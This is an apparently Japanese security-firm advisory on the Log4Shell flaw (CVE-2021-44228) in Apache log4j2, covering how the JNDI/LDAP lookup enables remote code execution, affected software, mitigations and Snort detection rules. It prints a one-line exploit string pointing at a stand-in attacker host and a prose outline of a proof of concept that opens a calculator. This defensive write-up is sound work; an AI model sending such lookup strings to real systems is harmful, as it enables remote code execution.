2021.12.15   セキュリティ脅威

Apache log4j2 LDAP JNDI Parser RCE 脆弱性(CVE-2021-44228)情報

2021年12月10日 Apache log4j2 からJNDI Parserを悪用したRCE脆弱性(CVE-2021-44228)が公開されました。
その概要と攻撃例、対策についてまとめています。

2021年12月22日 更新

■ Apache log4j2 の機能

Apache Log4j は、Apache Software FoundationのApache Logging Servicesプロジェクトの一部です。
コンソール及びファイル出力の形でロギングをサポートし、ライブラリから分離した設定ファイル(XML、Properties)での設定が可能なロギングパッケージです。

フィルター機能などの機能があり、マルチスレッド環境(Multi Thread)で Async Logger(非同期ログ)のログ記録方法の場合、他のロギングフレームワークより優れた処理パフォーマンスが高い(処理量、短時間処理など)のが特徴です。

6つのログレベルを標準提供しており、ログレベルが高い(情報量が少ない)ものから低い(情報量が多い)ものへと順に並べると下表の通りです。

<log4jのログレベル>

ログレベル説明
FATALもっとも深刻なエラーが発生した状態
ERRORリクエスト処理中に問題が発生した状態
WARN実行には問題ないが、後にエラーの原因となりうる警告メッセージ
INFO状態変更のような情報メッセージ
DEBUG開発時デバッグ用で使うメッセージ
TRACEデバッグレベルより詳細イベントを表示するメッセージ

■脆弱性情報

2013年 Apache Log4j 2.0-beta9 から追加された「LOG4J2-313: Add JNDILookup plugin. Thanks to Woonsan Ko.」の脆弱性です。

JNDI (Java Naming and Directory Interface)とは:
Javaプログラムがディレクトリを介してデータ(Java オブジェクト)を検索できるディレクトリサービス

遠隔の第三者が細工したデータを送る事で、任意のコマンドを実行される(RCE(Remote Code Execution) )可能性があります 。

JNDI内のさまざまなディレクトリサービスを使えるようにするSPI(Service Provider Interface)の中で、JNDIとLDAPを一緒に使う過程から脆弱性を悪用することが可能です。

■攻撃情報

攻撃者は 以下のような攻撃コードを使用し、リモートサーバからペイロードを検索し、ローカルで実行できるLDAPコネクタのJNDIコンポーネントを用いて攻撃します。

> ${jndi:ldap://attacker_controled_website/payload_to_be_executed}

<攻撃Poc例>

<攻撃シナリオ>

※攻撃PoC実施に関しては対策参考として記載しています。模倣して実行した場合、攻撃行為となりますのでご注意ください。
当攻撃PoC情報を基に脆弱性等の確認の為、模倣した内容を実行した場合、そこに関わる全ての責任は実施者にあります。当ブログ記事の発行元、発行者は一切の責任をおいかねますのでご了承ください。

Exploitを含むUser-Agent文字列はインデクシングまたはJavaベースのバックエンドシステムに伝わるため、攻撃を悪用することが可能です。

log4j2を使用する場合、javaベースswにパッチを適用するか、回避策を設けるのが重要となります。

ー 脆弱なApache Log4j2が使われたプログラム攻撃 ー

危険性が高い為、詳細情報は控えさせていただきます。
攻撃概要として記載していますので、どのようなことが起きるのかイメージとしてご確認ください。

・実施環境情報

攻撃者環境: Kali-Linux-2021.4-vmware-amd64
攻撃先(被害側)環境: Windows 10 Version 2004


1)脆弱なサーバーで公開されているチャット機能に攻撃コードを入力

2)サーバーのログに対象コードが出ていることを確認

3)LDAPリクエストをHTTPリクエストに変換して、PoCコードが攻撃先環境へ転送される

4)転送されたPoCコードの動作によって攻撃先の環境では電卓が実行される

(2021年12月22日 脆弱なApache Log4j2が使われたプログラム攻撃 追記)

影響を受けるバージョン・ソフトウェア

影響を受けるバージョン

・Apache Log4j 2.15.0 より前の 2 系のバージョン
 (Apache Log4j 2.15.0-rc1を含む)

Apache Log4j 1 系のバージョンは、Lookup 機能が含まれておらず、JMS Appender が有効でもクラス情報がデシリアライズされないため影響を受けないとの情報を確認
( 「Apache Log4j 2.15.0」 ではサービス拒否攻撃(DoS)を許す問題(CVE-2021-45046)が残されていた。)

–  ダウンロードURL:
https://logging.apache.org/log4j/2.x/download.html

影響を受けるソフトウェア

・Apacheソフトウェア財団から配信しているオープンソース
 (Apache Struts, Apache Solr, Apache Druid, Apache Flink, ElasticSearch, Flume, Apache Dubbo, Logstash, Kafka, Spring-Boot-starter-log4j2)

・Apache log4j2を使用しているサードパーティプログラム

影響を受けるベンダー:
https://github.com/NCSC-NL/log4shell/blob/main/software/README.md

(2021/12/22 影響を受けるソフトウェア追記)

対策(対応及び回避策)

※ 脆弱性の影響度が高いため必ずセキュリティアップデート及び回避策の対応が必要

セキュリティアップデート

※ Apache log4j 2.15.0 では、サービス拒否攻撃(DoS)を許す問題(CVE-2021-45046)が残されていたと発表されている為、最新バージョンへのアップデート推奨。
https://logging.apache.org/log4j/2.x/index.html

〇 Apache log4jセキュリティアップデートを実施
(最新バージョン:Apache log4j 2.16.0)

WAFに検知パターンアップデート

〇 WAFのパターンアップデートでCVE-2021-44228パターンが含まれているか確認

〇 USER-AGENT HTTP Headerに「${jndi:ldap:」、「${jndi:dns:」で検知パターン作成

〇 下記SNORTの参考
※あくまでも参考のものとなります。検知の有効性を保証するものではありません。

No.SNORT
1alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05428
2Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${upper:”; fast_pattern:only; http_client_body; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Pi”; sid:205428;)
3alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05429 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”upper”; fast_pattern:only; content:”upper”; nocase; http_cookie; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)upper(%(25)?3a|\x3a)/Ci”; sid:205429; )
4alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05430 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${upper:”; fast_pattern:only; http_header; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Hi”; sid:205430; )
5alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05431 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”lower”; fast_pattern:only; content:”lower”; nocase; http_cookie; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)lower(%(25)?3a|\x3a)/Ci”; sid:205431; )
6alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05432 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${upper:”; fast_pattern:only; http_uri; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Ui”; sid:205432; )
7alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05433 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${lower:”; fast_pattern:only; http_client_body; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Pi”; sid:205433;)
8alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05434 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${jndi:”; fast_pattern:only; http_client_body; sid:205434; )
9alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05435 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”jndi”; fast_pattern:only; content:”jndi”; nocase; http_cookie; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)jndi(%(25)?3a|\x3a)/Ci”; sid:205435; )
10alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05436 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${lower:”; fast_pattern:only; http_uri; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Ui”; sid:205436; )
11alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05437 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${lower:”; fast_pattern:only; http_header; pcre:”/\x24{(\x24{(upper|lower):j}|j)(\x24{(upper|lower):n}|n)(\x24{(upper|lower):d}|d)(\x24{(upper|lower):i}|i)(\x24{(upper|lower)::}|:)/Hi”; sid:205437; )
12alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05438 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${jndi:”; fast_pattern:only; http_header; sid:205438; )
13alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05439 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”${jndi:”; fast_pattern:only; http_uri; sid:205439; )
14alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05440 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”lower”; fast_pattern:only; http_header; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)lower(%(25)?3a|\x3a)/Hi”; sid:205440; )
15alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05441 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”upper”; fast_pattern:only; http_header; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)upper(%(25)?3a|\x3a)/Hi”; sid:205441; )
16alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05442 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”jndi”; fast_pattern:only; http_header; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)jndi(%(25)?3a|\x3a)/Hi”; sid:205442; )
17alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05443 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”upper”; fast_pattern:only; http_client_body; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)upper(%(25)?3a|\x3a)/Pi”; sid:205443; )
18alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05444 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”lower”; fast_pattern:only; http_client_body; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)lower(%(25)?3a|\x3a)/Pi”; sid:205444; )
19alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:”IGRSS.2.05445 Apache, Log4j, CVE-2021-44228″; flow:to_server,established; content:”jndi”; fast_pattern:only; http_client_body; pcre:”/(%(25)?24|\x24)(%(25)?7b|\x7b)jndi(%(25)?3a|\x3a)/Pi”; sid:205445; )
< 直ぐにアップデートが出来ない場合の臨時対応 >
– Log4j 2.10以降の場合 –

〇 -Dlog4j.formatMsgNoLookups=trueのコマンドをオプションで追加する
又は
log4j.formatMsgNoLookups=trueをクラスパスのlog4j2.component.propertiesファイルに追加してログイベントメッセージから照会するのを防止

– Log4j 2.7以降の場合 –

〇 PatternLayout構成から %m{nolookups} を指定してログイベントメッセージから照会するのを防止

JndiLookupクラスパスからクラス除去

〇 log4j-core jarからJndiLookup及びJndiManagerクラスを除去

〇 JndiManagerを除去するとJndiContextSelector及びJMSAppenderが動作しない
例) zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class

<参考資料>

1) Log4Shell: RCE 0-day exploit found in log4j2, a popular Java logging package
https://www.lunasec.io/docs/blog/log4j-zero-day/

2) RCE in log4j, Log4Shell, or how things can get bad quickly
https://isc.sans.edu/

3) Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html

4) CVE-2021-44228-Apache-Log4j-Rce
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

5) Inside the log4j2 vulnerability (CVE-2021-44228)
https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/

Written by CYBERFORTRESS, INC.

サイバーフォートレス CYBERTHREATS TODAY 編集チーム

サイバーフォートレスは、サイバーセキュリティ対策を提供するセキュリティ専門企業です。

セキュリティ対策や、最新のセキュリティ脅威、サイバー攻撃のトレンドなど、当社が研究開発や情報収集した内容をもとに、最新のセキュリティ脅威・セキュリティ対策についてお伝えします。

関連記事

よく読まれている記事